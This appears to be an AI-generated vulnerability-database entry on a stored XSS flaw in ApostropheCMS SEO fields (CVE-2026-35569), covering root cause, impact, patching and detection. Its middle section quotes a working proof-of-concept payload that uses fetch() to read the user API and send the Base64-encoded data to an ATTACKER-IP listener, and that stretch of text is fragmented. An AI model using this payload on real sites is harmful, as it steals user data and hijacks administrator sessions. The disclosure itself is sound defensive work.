
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-35569 is a stored cross-site scripting (XSS) vulnerability in ApostropheCMS, an open-source Node.js content management system, affecting versions 4.28.0 and prior. The flaw exists in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. It was reported on April 1, 2026, acknowledged April 2, CVE assigned April 4, and patched with the release of version 4.29.0 on April 15, 2026. The vulnerability carries a CVSS v3.1 base score of 8.7 (High) (Github Advisory, Researcher PoC).
The root cause is improper neutralization of user-controlled input (CWE-79) combined with improper encoding or escaping of output (CWE-116) when SEO field values are rendered into HTML contexts. Specifically, input stored in the SEO Title and Meta Description fields is embedded unescaped into <title> tags, <meta> attributes, and JSON-LD <script> blocks, allowing an attacker to inject a payload such as "><script>alert(1)</script> to break out of the intended HTML context. Exploitation requires the attacker to have low-privileged authenticated access to edit SEO fields, and successful payload execution requires a victim (e.g., an administrator) to visit the affected page. The fix introduced a new safe-json-script.js mechanism for safely serializing JSON nodes embedded in HTML, and requires upgrading both the apostrophe core package and the @apostrophecms/seo module (Github Advisory, Fix Commit).
Successful exploitation allows an attacker with low-privileged CMS access to execute arbitrary JavaScript in the browser of any authenticated user — including administrators — who views the affected page. This enables session riding (performing authenticated API requests using the victim's session), access to sensitive data via internal APIs such as /api/v1/@apostrophecms/user (exposing usernames, email addresses, user IDs, and roles), and exfiltration of that data to an attacker-controlled server. Availability is not impacted, but confidentiality and integrity are both rated High due to the potential for full user data exposure and unauthorized actions within the application (Github Advisory).
A detailed proof-of-concept (PoC) with step-by-step reproduction instructions and a video demonstration (https://youtu.be/FZuulua_pa8) is publicly available in the GitHub security advisory and the researcher's repository. The exploit requires low privileges (any authenticated CMS user who can edit SEO fields) and user interaction (an administrator must visit the affected page). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.037% (0.000320), placing it in the 11th percentile for exploitation likelihood (Github Advisory, Researcher PoC).
@apostrophecms/seo module is installed and SEO fields are accessible to authenticated users."> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' })
.then(r=>r.text())
.then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) })python3 -m http.server 5656 to capture incoming requests./api/v1/@apostrophecms/user, which contains usernames, email addresses, user IDs, and roles. Decode the Base64 payload to retrieve the sensitive data (Github Advisory, Researcher PoC).?data= followed by a Base64-encoded string to attacker-controlled hosts./api/v1/@apostrophecms/user originating from admin browser sessions at unusual times or in rapid succession; web server logs showing outbound fetch requests to external IPs triggered from page views."> followed by JavaScript fetch() calls or <script> tags.Upgrade ApostropheCMS to version 4.29.0 or later, which introduces a safe JSON serialization mechanism (safe-json-script.js) to prevent unescaped output in HTML contexts. Note: The fix requires upgrading both the apostrophe core package and the @apostrophecms/seo module simultaneously. As interim mitigations, restrict edit access to SEO fields to trusted administrators only, and implement Content Security Policy (CSP) headers to block inline script execution. Monitor for suspicious API activity targeting /api/v1/@apostrophecms/user and unexpected outbound data exfiltration (Github Advisory, Fix Commit).
The vulnerability was reported by security researcher K Shanmukha Srinivasulu Royal (GitHub: Chittu13), who published a detailed write-up and video PoC. The ApostropheCMS maintainer (boutell) acknowledged and patched the issue promptly, with the fix released the same day as the CVE publication (April 15, 2026). A brief mention was noted on Mastodon via @thehackerwire. No significant broader media coverage or notable community controversy has been identified (Github Advisory, Researcher PoC).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."